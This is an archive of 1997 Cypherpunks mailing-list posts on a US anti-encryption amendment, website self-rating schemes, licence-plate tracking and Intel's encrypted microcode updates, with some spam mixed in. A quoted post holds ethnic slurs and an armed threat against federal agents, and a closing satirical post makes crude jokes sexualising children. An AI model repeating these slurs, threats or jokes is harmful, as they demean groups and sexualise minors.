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From sar at cynicism.com  Fri Jul 25 15:07:26 1997
From: sar at cynicism.com (sar)
Date: Sat, 26 Jul 1997 06:07:26 +0800
Subject: Brit Fascists To Track Motorists - DigiCash Obsolescent
Message-ID: <3.0.2.32.19970725165058.007d3cd0@box.cynicism.com>



At 07:23 AM 7/25/97 -0400, you wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 02:34 AM 7/24/97 -0700, Kent Crispin wrote:
>>On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
>>[...]
>>> And, yes, all of this privacy loss happens because somebody decided
>>> it was convenient to put a car-ownership-tax receipt on the outside
>>> of a car so police can quickly decide if you've paid your taxes...
>>> The rest of it's just implementation details.
>>
>>Of course, you could just confine your driving to private roads, and
>>leave the license plate off. 
>
>Sabotaging your plates so they weren't machine readable or using a car 
>registered in Slovenia or Wisconsin (both possible in the UK) would make
more 
>sense.
>

remember those purple neon "chaser" lights that people used to put around
thier plates to to make them harder to read and bounce lidar off of... dont
see them much anymore they probably went the way of blackout windows they
both make it harder for police to apprehend the dangerous criminals. In
fact if you get pulled over with blackout windows in NYC you might be
greeted by one of new yorks finest pointing a gun at you instead of the
ususal solem "liscense and registration please". I think that if the
government could make a case that mandatory brain removal would stop crime
most people would be all for it. 






From minow at apple.com  Fri Jul 25 15:15:39 1997
From: minow at apple.com (Martin Minow)
Date: Sat, 26 Jul 1997 06:15:39 +0800
Subject: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: <199707252121.RAA02705@upaya.multiverse.com>
Message-ID: 



>: http://www.wired.com/news/news/politics/story/5492.html
...
>:  The amendment, by Representative Benjamin Gilman
>:  (R-New York), who chairs the International Relations
>:  Committee, would make it unlawful to "manufacture,
>:  distribute, sell, or import any product within the United
>:  States that can be used to encrypt communications or
>:  information if the product does not permit the real-time
>:  decryption of such encrypted communications or
>:  information."

Do you think they were referring to pencils?

Will Navaho dictionaries become illegal?

Martin Minow
minow at apple.com







From megamoneymakers at mail-response.com  Sat Jul 26 07:10:36 1997
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Date: Sat, 26 Jul 1997 07:10:36 -0700 (PDT)
Subject: Free Money Making Software!
Message-ID: <199707261712.NAA16649@plant.mail-response.com>


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From nobody at REPLAY.COM  Fri Jul 25 18:40:17 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 26 Jul 1997 09:40:17 +0800
Subject: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: 
Message-ID: <199707260132.DAA14540@basement.replay.com>



Peter D. Junger wrote:

> It actually does a very nice job of raising the first amendment issues
> that are ultimately going to kill export controls...

Yeah, eventually.  Judge Nugent sure is taking his time with it...






From nobody at REPLAY.COM  Fri Jul 25 20:42:38 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 26 Jul 1997 11:42:38 +0800
Subject: Pentium Microcode Encryption (was Re: Another vulnerability)
Message-ID: <199707260330.FAA28597@basement.replay.com>



> BIOS Update is a hidden feature that can fix bugs in Pentium Pro and
> Pentium II CPUs by patching the microcode inside the microprocessor.
> When the processor boots up, the BIOS loads the patches, which are
> contained in a 2,048-byte-long BIOS Update data block that is supplied
> by Intel.
> "The problem is, the BIOS cannot verify whether the BIOS Update data
> block contains real microcode or not," claimed one BIOS expert, who
> requested anonymity. "As long as the header and the checksum are okay,
> the BIOS will load that microcode into the microprocessor. Some hacker
> could actually wipe out microcode in the CPU. There is nothing that can
> prevent this."

The processor doesn't actually burn in the patch to on on-board EPROM,
does it?  (If it did, then the BIOS wouldn't need to load it on boot-up.)
So you can't actually wipe out microcode in the CPU.

> Intel doesn't see such a scenario as a realistic threat, pointing to
> the fact that the BIOS Update data block is encrypted. "We've spent
> quite a lot of time thinking about such scenarios to make sure we had
> sufficient mechanisms in place so you couldn't introduce your own
> flavor of BIOS Update into the processor," said Ajay Malhortra, a
> technical marketing manager based here at Intel's microprocessor
> group. "Not only is the data block containing the microcode patch
> encrypted, but once the processor examines the header of the BIOS
> update, there are two levels of encryption in the processor that must
> occur before it will successfully load the update."

I can't imagine them wasting precious die space to implement a multiple
round, fully cryptanalysis-proof encryption scheme, especially
considering that the microcode-update curcuitry takes up quite a bit of
space already.  It seems more likely that they would use a combination
of a few logic gates and some permutations, which wouldn't take up much
space.  (Unless, of course, they implemented the microcode-updater as
microcode software itself, which would be a really stupid thing to do -
How could the program run while overwriting itself?)

Furthermore, they mentioned "there are two levels of encryption in the
processor"  That is really bad design from a cryptanalysis point of view.
Once the outer layer has been stripped off and you find a valid header,
you can then attack the next layer by itself.  (assume a valid header
decryption could be determined by it having a low entropy in the
data-compression sense.)

That leaves the checksum question.  CRC is widely used, so they probably
had a crc design on file and could have just stuck it in.  But there is
no other use for crc calculation in the cpu, and an arithmetic checksum,
or ever XOR would be simpler.  Hmm...  (Of course you could always try to
do it like Matt Blaze did with clipper. :)

> "Yes, it is used," said an engineer at one vendor. "I personally know
> of five different things in the Pentium Pro related to multiprocessing,
> system management interrupt and other areas."

That sounds like it could be very useful.  A context-switch on a pentium
takes over a hundred clock cycles while the processor dumps all its
registers.  The problem is that on a modern 32-bit OS many of those
registers, such as the 16-bit segment registers, are not used.  If you
could change the microcode so that it would temporarily ignore those
registers it would give you faster task-switching and better performance.
I think a lot of Linux users would be interested in something like that.

Anyone know where I could find some of these 2048-byte update blocks?
It might be interesting to run some statistical analysis on it... :)






From apache at gargoyle.apana.org.au  Fri Jul 25 21:19:00 1997
From: apache at gargoyle.apana.org.au (Charles)
Date: Sat, 26 Jul 1997 12:19:00 +0800
Subject: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: 
Message-ID: <199707260407.OAA08620@gargoyle.apana.org.au>



Welcome to the USA...please check your keys at the door.

(Or you will be violated)

>  This means that if law-enforcement officials could not
>  crack an encrypted file within 24 hours - the time that FBI
>  director Louis Freeh and other law enforcement officials
>  say is reasonable for accessing information related to a
>  crime - that strength of encryption would be illegal. The
>  amendment set a civil penalty of US$100,000 for such
>  violations.

Defence counsel: Your honour the FBI agent could have cracked my 
clients grocery list within 24 hours if he hadn't taken a long lunch 
break at Hooters Topless Bar & Grill and not overlooked that he was 
running his NifTY War3Z crAk3R v0.3 against the wrong file.

Prosecutor: Could not

Defence: Could so

Prosecutor: Irrelevant your auspiciousness, the fact is the grocery 
list was not decrypted in 24 hours.

Judge: I sentence the defendant to $100 000 penalty or in default 15 
years at a federal re-education facility.

Defence: But your worthiness it was only a $35 grocery list!

Judge: Anyone seen my gavel?
-- 
   .////.   .//    Charles Senescall             apache at quux.apana.org.au
 o:::::::::///     apache at bear.apana.org.au  apache at gargoyle.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache






From frantz at netcom.com  Fri Jul 25 22:00:01 1997
From: frantz at netcom.com (Bill Frantz)
Date: Sat, 26 Jul 1997 13:00:01 +0800
Subject: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: 
Message-ID: 



At 9:18 AM -0700 7/25/97, Declan McCullagh wrote:
>RSAC-PS raises the same troubling questions as RSACnews: what is a "public
>service" group? Who decides?

This question is easy to answer.  By being publicly available, they are ALL
offering public services.  Therefore they are all free from
mandatory/voluntary ratings.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From shamrock at netcom.com  Fri Jul 25 22:32:52 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sat, 26 Jul 1997 13:32:52 +0800
Subject: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: 
Message-ID: <3.0.2.32.19970725222141.0072e90c@netcom10.netcom.com>



At 09:04 PM 7/25/97 -0700, Bill Frantz wrote:
>At 9:18 AM -0700 7/25/97, Declan McCullagh wrote:
>>RSAC-PS raises the same troubling questions as RSACnews: what is a "public
>>service" group? Who decides?
>
>This question is easy to answer.  By being publicly available, they are ALL
>offering public services.  Therefore they are all free from
>mandatory/voluntary ratings.

Bridges are at a bargain this week... Of course my dear friend Bill knows
better than to believe what he wrote. :-)

The large media conglomerates (really an extension of the government) will
decide under the "voluntary" rating system who is a "reliable" news source
worthy of a RSACi carte blanc. Hmm, sounds just like the "persons of
undoubted reliability" authorized to acquire firearms in Europe a while
back. [Reichsgesetzblatt, year 1928, number 18, part 1, paragraph 16.1]

After all, we wouldn't want people of questionable reputation, such as John
Young, publish news anybody can read. It might disturb some children. Not
to mention their parents.

Sounds to me like the established media is supporting a system designed to
hamper their competion.


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From minow at apple.com  Fri Jul 25 22:53:12 1997
From: minow at apple.com (Martin Minow)
Date: Sat, 26 Jul 1997 13:53:12 +0800
Subject: Jim Bell Docket 3
In-Reply-To: 
Message-ID: 



>>On Thu, 24 Jul 1997, Lynne L. Harrison wrote:
>
>I question, however, if is proper/appropriate for a governmental entity to
>retrieve email addresses off of a computer involved in a criminal matter
>and use those addresses to send the type of message that was sent to a
>selected few?  Unfortunately, I have no answer to this query.
>
>Do any other individuals have any thoughts concerning this issue?
>
>

(Since I am not a lawyer, I can pontificate without fear of reprisal.)
Since the message was a "press release" one could, with a reasonably
straight face, claim that it is covered by "freedom of the press."
Extracting addresses from a database would not be permitted, as
near as I can tell, by the Swedish Data Privacy Law. There is an
interesting article, in Swedish, in today's Svenska Dagbladet
 that suggests that *any* computer-generated
message (including ordinary word-processing letters) may violate
the data privacy law (but this might be a mis-reading of an
article I only skimmed, but didn't read carefully). Misusing
data on a computer file would be improper, irregardless of whether
the computer was involved in a criminal matter. Copyright violation,
if nothing else, even if it might be "fair use."

Martin Minow
minow at apple.com









From declan at well.com  Fri Jul 25 23:33:12 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 26 Jul 1997 14:33:12 +0800
Subject: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: 
Message-ID: 



Heh. That's not what RSACi has in mind. :) --Declan

On Fri, 25 Jul 1997, Bill Frantz wrote:

> At 9:18 AM -0700 7/25/97, Declan McCullagh wrote:
> >RSAC-PS raises the same troubling questions as RSACnews: what is a "public
> >service" group? Who decides?
> 
> This question is easy to answer.  By being publicly available, they are ALL
> offering public services.  Therefore they are all free from
> mandatory/voluntary ratings.
> 
> 
> -------------------------------------------------------------------------
> Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
> (408)356-8506     | to protect the free world  | 16345 Englewood Ave.
> frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA
> 
> 
> 
> 






From declan at vorlon.mit.edu  Fri Jul 25 23:34:41 1997
From: declan at vorlon.mit.edu (Declan McCullagh)
Date: Sat, 26 Jul 1997 14:34:41 +0800
Subject: An Attempt to Hobble SAFE Crypto Bill (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 18:22:48 -0400
From: Alan Davidson 
To: "--Todd Lappin-->" , fight-censorship at vorlon.mit.edu
Subject: Re: An Attempt to Hobble SAFE Crypto Bill

At 11:03 AM -0800 7/25/97, --Todd Lappin--> wrote:
>
>An Attempt to Hobble House Crypto Bill
>
> by Rebecca Vesely
...
> The amendment, by Representative Benjamin Gilman
> (R-New York), who chairs the International Relations
> Committee, would make it unlawful to "manufacture,
> distribute, sell, or import any product within the United
> States that can be used to encrypt communications or
> information if the product does not permit the real-time
> decryption of such encrypted communications or
> information."

The full text of this very frightening amendment is now available on CDT's
Web site at:
	http://www.cdt.org/crypto/legis_105/SAFE/index.shtml#970725

It's a chilling glimpse at the Administration's view of a
mandatory-domestic-key-recovery world. This is the first time I've seen
anyone put such a provision through the House Legislative Counsel process.

 	-- Alan


Alan Davidson, Staff Counsel                 202.637.9800 (v)
Center for Democracy and Technology          202.637.0968 (f)
1634 Eye St. NW, Suite 1100                  
Washington, DC 20006                         PGP key via finger







From success at network2.net  Fri Jul 25 23:38:02 1997
From: success at network2.net (success at network2.net)
Date: Sat, 26 Jul 1997 14:38:02 +0800
Subject: Internet Service
Message-ID: <199707260619.CAA14269@mail.network2.net>



If you wish to be removed from future mailings, please reply with the subject "Remove"

If we showed you how to receive FREE Unlimited Internet Access to the World Wide Web,
24 hours a day, 7 days a week, with super fast worldwide connectivity and included your own
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Please visit our web site to find out more...
http://www.network2.net/~success







From declan at vorlon.mit.edu  Fri Jul 25 23:38:34 1997
From: declan at vorlon.mit.edu (Declan McCullagh)
Date: Sat, 26 Jul 1997 14:38:34 +0800
Subject: Note to CyberPatrol's Susan Getgood (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 18:19:00 -0700
From: "James S. Tyre" 
To: SusanG at microsys.com
Cc: fight-censorship at vorlon.mit.edu
Subject: Note to Susan Getgood

Dear Susan:

I hadn't realized that you were still on f-c, but since you've popped up
a few times today, I thought that I'd use this environmentally friendly
way of speaking with you.

I was quite intrigued when I got an envelope from Microsys a few days
ago.  And I was honored that you consider me to be a colleague -- you
remember how you addressed the letter -- Dear Colleague.

I am, of course, quite concerned about productivity in the workplace. 
Why, everyone on f-c who knows me will vouch for the fact that I never
do anything which is not completely work-related during the business
day.  So while I have to confess that I was intrigued by the offer of
your corporate product, there's just one small problem: using it would
go against every moral and ethical bone in my body.

Granted, most attorneys may not have many of 'dem bones, so if I change
my mind, I'll keep your email address on file.  In the meantime,
however, you can save some postage costs and even a tree branch or two
if you delete me from your junk snail mail list.

Thank you for your cooperation in this matter.


Very truly yours,


-James S. Tyre






From admin at tcg.sask.com  Sat Jul 26 00:01:06 1997
From: admin at tcg.sask.com (admin at tcg.sask.com)
Date: Sat, 26 Jul 1997 15:01:06 +0800
Subject: Addresses
Message-ID: <199707260525.AA10380@unibase.Unibase.COM>





Hi,

I came across your post in a MLM newsgroup and thought you may be interested in an email address list.

It worked great for me. 

          http://www.unibase.com/~visions/email/

Robert L. James






From kent at songbird.com  Sat Jul 26 00:20:23 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 26 Jul 1997 15:20:23 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: <19970726000702.56387@bywater.songbird.com>



On Thu, Jul 24, 1997 at 08:45:00PM -0500, snow wrote:
> 
> 	Seems to me, this is a warning. 
> 
> 	The Gooberment is warning us that they are watching us, and 
> They are NOT PLEASED. 

Far more likely that someone in IRS thought it would be a kick to stir
up cypherpunks a bit.  It worked, too, I would say.  

Let me be a bit more direct.  These people aren't warning you.  They
are poking fun of you. 

> 	Assholes. They are supposed to be working FOR US.

Speaking of asses, they are probably laughing theirs off reading this. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From whgiii at amaranth.com  Sat Jul 26 00:20:55 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 26 Jul 1997 15:20:55 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33D8F403.245C04CD@cptech.org>
Message-ID: <199707260708.CAA30671@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <33D8F403.245C04CD at cptech.org>, on 07/25/97 
   at 02:44 PM, James Love  said:

>Declan McCullagh wrote:
>> 
>> Jamie, as you know, we disagree on your approach to self-labeling.
>> 
>> For the purposes of argument, let us say that we can agree that some,
>> extreme, sites are unsuitable for children. But the problems arise not
>> on
>> the extremes, but in the great grey center.
>> 
>> Where do you draw the line? Therein lies the rub.
>> 
>> -Declan


>     Thanks for asking this question.  I think it is important.  I would
>have the labeling system be something that suits the publisher of the web
>page.  The web page publisher would decide if he or she wanted to label
>the site as adult.  There wouldn't be a great gray center, in the sense
>that the author/owner of the web page would make the decision to label or
>not label.  Why would anyone label?  As you know, most porn sites already
>have labeling out the whazoo.  (how is this spelled?)   The problem is
>that the label takes so many different forms, browsers can't filter the
>current labels, and that is why we have so much interest in cybersiter
>and other AI programs.  This would make their existing voluntary labeling
>systems actually work.  The simpler the tagging system, and the less
>information it conveys, the less likely it could be used to create a much
>more grandiose content labeling system.  This is a pragmatic proposal.  I
>think it makes sense.


What is your proposal for those who would "mislable" their sites? I am
sure that you are not under the assumption that everyone will have the
same ideals of what is appropriate for children and what is not.

How do you handle the web site for alt.sex.sheep.bah.bah.bah if the owner
decides to self rate it Y-7?

Self-rating and/or browsers that can read these self-ratings will be of
little good except as a stepping stone to maditory rating system because
they are unable to solve the precieved problem of children accessing
website that their parents do not want them to see.

Even if you could convince "Enough-is-Enough" and the rest of Donna "2 bit
hore" Rice's cronnies that voluntary ratings was worth a try they would be
shortly back to DC pushing for manditory legislation because they wouldn't
like the way people were self rating their web pages.

You have two major groups pushing for rating systems:

1) Lazy parents that do not wish to be bothered with the obligations of
raising their children.

2) "Born again" censors like Rice want the power to control what people
can and can not say.

The problem is that no rating system can satisfy these groups. Just as
voluntary rating will be used as a stepping stone to manditory rating,
manditory rating will be used by these same two groups for the outright
baning of certian forms of speech (their true agenda).


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From nobody at REPLAY.COM  Sat Jul 26 00:21:07 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 26 Jul 1997 15:21:07 +0800
Subject: OKC Bomber, or Cowardly Lion? / Re: IRS sending warning notes, violating ECPA?
Message-ID: <199707260706.JAA19264@basement.replay.com>



Kent Crispin wrote:
> > Anon pissed out:
> > >  I am just as certain that Tim has made a conscious decision as to
> > >what level of risk he is willing to take to speak his mind and perhaps
> > >make a difference in the events of his time, without merely being
> > >egoistical, stupid, and suicidal.

> As anon clearly points out, Tim toes the line with his speech,
> carefully avoiding saying anything that escapes constitutional
> protection.
...
> Yes, Tim talks a brave talk.  But...

  But...?
  ...he doesn't cut his dick off with an axe, to show how brave
he is?
  ...he doesn't phone up the DEA and tell them, "I'm shooting
heroin, but please don't raid my house?"
  ...he doesn't take out an ad in the New York Times to announce
that he will be nuking D.C. at 4 p.m. on Friday?

  I once built a bar in Austin, Texas, named "Crazy Bob's Saloon."
I put a diving board on top of the 1 1/2 story building and put an
old bathtub on the sidewalk below, which I filled with water.
  All week long we advertised that at noon, on Grand Opening Day,
Crazy Bob was going to jump off the diving board, and into the
bathtub full of water. During our Grand Opening, 12 noon rolled
around and Crazy Bob walked outside, with everyone following him.
  Crazy Bob looked up at the diving board, then looked down at the
bathtub full of water. He looked back up at the diving board, once
again, and back down at the bathtub full of water. Then he turned
to the crowd, and said, "Folks, they call me _Crazy_ Bob, not
_Stupid_ Bob!" Then we all went back inside and partied down.

  At the end of the night, when everybody had gone home, Crazy Bob
and I took a bottle of whiskey up to the rooftop, had some drinks
and discussed the fact that, as a man of honour, he was obligated
to make the dive, despite the fact that the "sheeple" were more
than satisfied by having an entertaining story to go home and tell
their friends.
  Did he make the dive?
  It's nobody's business but his own. I was there, and at the right
time, in the right place, with the right amount of liquor in me and
a full moon egging me on, I just might tell you. But, regardless, it
would still really be nobody's business except for Crazy Bob's.

  Perhaps Tim May is the _real_ OKC bomber, or perhaps he is the
cowardly lion. (cringing when "Toto" barks :>)
  Whether Tim "walks his talk" or not is not my business, nor is it
Kent's, or anyone else's business. One's public words may reflect
their personal anthem, their own flag/values/beliefs, or their words
may be merely the braying of mules. What matters is the value, or lack
thereof, that we may personally glean from those words, to our own
edification or detriment.
  However, the "rack" is not a "bicycle built for two." When we are
put on the rack, to test the strength of our beliefs, then the pain,
the certainty or doubt, the salvation or degredation, are all our own.

  I enjoy the outrageously strong opinions which do battle on the
CypherPunks list, and I even have a mail folder titled, "CyberPissing,"
in which I save the posts which contain classic cheap-shots.
  I respect those who stand up for what they believe in and are not
hesitant about attacking the faults they find in the logic or beliefs
of others on the list. I consider it a "public service" when others
take a shot that points out my errors/hypocrisy/stupidity, etc. It
gives me the opportunity to say, "They are right. I should adjust my
belief/attitude.", or say, "They are right, but so the fuck what? It
is my personal predeliction to be an asshole about this, and it suits
me just fine."
  It is my personal view, however, that the line between difference of
outlook/opinion and spurious, personal slander is crossed when one
stoops to denigrate the character of another list member by accusing
them of what might be "conscious evils" such as comfortable cowardice,
willful hypocrisy, or determined stupidity.

  Perhaps I will break down on the "rack" and deny all of my strongly
held beliefs, but please don't accuse me of being a boastful coward
who only holds to my beliefs when it is "safe" to do so.
  I may hold views which fail to remain consistent when measured
against standards that reflect the knowledge and experience of others,
but please don't accuse me of willfully attempting to espouse my views
only to my benefit and at the expense of others.
  Sometimes I'm a fucking idiot and probably ought to be taken out
and shot, but I strive to come by my stupidity "honestly," and not to
use stupidity as an "excuse" to do evil.
 
  Tim May is a grouchy old CypherPunk with an itchy trigger finger and
Kent Crispin has suffered the misfortune of having the the government
secretly implant silicon chips in his brain that flash random images
of current and past senators, congressmen and presidents repeating,
"I am not a crook...I am not a crook..."
  I am certain that each of them is equally certain of their beliefs,
and the decision as to which of them would make the world a better
place by using the Dr. Kevorkian Gift Certificate I sent them for
Christmas lies in the hands of the individuals who support or
oppose their stance on various issues.

  My personal opinon is that we should "Kill them both, and let
TruthMonger sort them out."
  Of course, I may be biased in this regard. After all, I am...

TruthMonger






From whgiii at amaranth.com  Sat Jul 26 00:51:56 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 26 Jul 1997 15:51:56 +0800
Subject: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: <3.0.2.32.19970725222141.0072e90c@netcom10.netcom.com>
Message-ID: <199707260741.CAA30983@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970725222141.0072e90c at netcom10.netcom.com>, on 07/25/97 
   at 10:21 PM, Lucky Green  said:

>Sounds to me like the established media is supporting a system designed
>to hamper their competion.

That's how most guilds work with one hand they claim to be improving their
craft while with the other they stifle all competition.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From dformosa at st.nepean.uws.edu.au  Sat Jul 26 01:23:02 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sat, 26 Jul 1997 16:23:02 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 26 Jul 1997, William H. Geiger III wrote:

[...]

> Self-rating and/or browsers that can read these self-ratings will be of
> little good except as a stepping stone to maditory rating system because
> they are unable to solve the precieved problem of children accessing
> website that their parents do not want them to see.

There is a presedent for this type of self rateing that hasn't yet led to 
a modorty scheme.  The volintry tagging scheme used in alt.sex.stories and 
alt.sex.strories.moderated seems to allow peaple to avoid meatiral that
thay don't like and select matiral that thay do.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From straightedge.dave at sk.sympatico.ca  Sat Jul 26 01:34:54 1997
From: straightedge.dave at sk.sympatico.ca (David Yaffe)
Date: Sat, 26 Jul 1997 16:34:54 +0800
Subject: I have had ENOUGH of this government bullshit!!
Message-ID: <3.0.2.32.19970726022739.007ad9f0@mailhost.sk.sympatico.ca>



-----BEGIN PGP SIGNED MESSAGE-----

I'm Canadian, and I am really scared by what is going on in the States. If 
the US gooberment
succeeds in banning/controlling crypto, how long will it be before it 
happens here. Does anyone
know if the Canadi-humm gooberment is trying to do ban/control crypto?

And to the person who wrote this I have one word: A-F*CKIN-Men!

>Screw this. I have finally blown my stack over this bullshit governmental
>crap. From this oint forward, I fully and completely make available, IN THE
>U.S, the International version of PGP 2.63.ix.
>If there are any cops, Feds, Spies, wops, spics, gigaboos, alternate
>lifestyles, punks, crackers, crackheads, whatever other name calling terms,
>I left out,    want to stop me --- TRY!!!! This is bullshit people! We have
>the inalieable right to full and total screcy, privacy, and personal
>protection of whatever  * W E *  determine to be private information. The
>government has gotten out of hand with this shit. If you are a member of the
>F.B.I, C.I.A, S.S, N.S.A, X.Y.Z community and you don't like this action,
>show up at my doorstep guns drawn. Cause you show up at MY door step, you'll
>need them! That I promise!

David.

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From kent at songbird.com  Sat Jul 26 02:24:45 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 26 Jul 1997 17:24:45 +0800
Subject: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <19970726020854.39574@bywater.songbird.com>



On Thu, Jul 24, 1997 at 06:54:29PM -0700, Bill Stewart wrote:
> At 02:34 AM 7/24/97 -0700, Kent Crispin wrote:
> >On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
> >[...]
> >> And, yes, all of this privacy loss happens because somebody decided
> >> it was convenient to put a car-ownership-tax receipt on the outside
> >> of a car so police can quickly decide if you've paid your taxes...
> >> The rest of it's just implementation details.
> >
> >Of course, you could just confine your driving to private roads, and
> >leave the license plate off. 
> 
> If the government wants to take over all the public commons right-of-way
> and pave it for roads, I'm not saying I'm not willing to pay them
> for the use of all their nice concrete and asphalt*, though 
> government-built roads have led to a whole lot of ecological and social
> problems

Can't deny that.

> that are far more severe than those a free-market road system
> would have given us;

I see no evidence for this.  Do you know of any national level 
free-market road system that would demonstrate this?  I don't think 
there are any.

> free-marketers without eminent domain would have
> built fewer roads in generally more efficient places because they'd need 
> to make money on each one, though eminent domain may be enough of a 
> cost-saver to make up for lower efficiency, and housing and business 
> development would have organized more compactly around the roads and
> railroads that did get built, allowing less car use.

I don't know.  Maybe, maybe not.  This is all hypothetical.

However, I think that strong identification systems for people and
cars would develop on private road systems, as well.  The reason is
that traffic rules would have to be enforced on private roads just as
much as they do on public roads.  Roadway operators would still want
drivers licenses to identify drivers who were competent, and would
still want to be able to identify cars as an aid to identifying
people.

More generally, while much of the argument on cpunks has been about
the government invading privacy, in fact, of course, "private
enterprise" has no motivation to respect privacy rights -- knowledge
about people is just another commodity.

In fact, there was a recent thread about how there was no such thing 
as "privacy rights"...

[...]
								
> And somehow before the automobile we got by without license plates on
> horses and buggies and cows, though some people branded their horses or 
> cows or painted their names on buggies without the law requiring it
> so they could demonstrate ownership if there was a dispute.

My dad had his own brand, many years ago ("WC on a Bench" -- I used 
to have a wooden plaque with it burned in...).  There was and still is 
a great deal more government involvement in brands than you may 
realize.  Brands are registered, there are "brand inspectors", etc.  

But in any case, *many* things were different 150 years ago. 
Arguably, you didn't need things like license plates, because
*everything* was much less anonymous -- the web of personal knowledge
of other people's doings was much more complete.  You didn't need to
put your name on your buggy, because everybody locally knew it was
yours.

[...]

> Changing the
> transaction costs changes the possible relationships between
> supplier and customer, and if the government wants to use them
> for social control, some of those relationships make it easier.

That's the leitmotif of this discussion, isn't it -- government use of
technology for social control.  In my view, however, it is a mistake
to focus on the government.  Society exerts social control, not just
the government.  We have jobs, families, friends, habits, training,
education -- a whole web of relationships that channel our activities 
and our thinking.

If you consider what "freedom" means in the context of this larger 
definition of "social control" things become rather subtle.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From junger at upaya.multiverse.com  Sat Jul 26 04:31:47 1997
From: junger at upaya.multiverse.com (Peter D. Junger)
Date: Sat, 26 Jul 1997 19:31:47 +0800
Subject: An Attempt to Hobble SAFE Crypto Bill
Message-ID: <199707261124.HAA04129@upaya.multiverse.com>




The more I look at this draft, the more gaping holes I see.

I do not think that it was ever intended to be enacted, but was rather
drafted simply to give cover to those who voted for the first
amendment, since they could then vote against this one.

Notice that it says that you will find the definitions in the Export
Administration Act, which I am sure, though I have not looked it up,
does not contain a definition of ``real time'', which seems to be the
key term in the draft.

But now that the first amendment lost, I suppose this could have been
leaked so that some other committee will vote for a compromise.

As I reread the proceeding sentence, I realize that I should have said
``proposed first amendment to the SAFE bill''.  We wouldn't want to
get it mixed up with the First Amendment, now would we?

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger at samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger at pdj2-ra.f-remote.cwru.edu no longer exists






From nobody at REPLAY.COM  Sat Jul 26 05:17:19 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 26 Jul 1997 20:17:19 +0800
Subject: New Ratings Categories / Re: Yet another self-labeling system (do you remember -L18?)
Message-ID: <199707261158.NAA19507@basement.replay.com>



William H. Geiger III wrote:

> What is your proposal for those who would "mislable" their sites? I am
> sure that you are not under the assumption that everyone will have the
> same ideals of what is appropriate for children and what is not.
> 
> How do you handle the web site for alt.sex.sheep.bah.bah.bah if the owner
> decides to self rate it Y-7?

  An anonymous source has confirmed that the operator of an
Assassination
Bot has struck a deal with government officials to drop them from the
betting list in return for their support for the following self-rating
categories being approved:
"Suitable for children who masturbate excessively."
"Suitable for children who are fucking their siblings."
"Suitable for children who would like to make a quick twenty bucks."
"Suitable for children who are considering murdering their parents."
"Suitable for children whose Uncle Jim can make ice-cream come out
 of his pee-pee."
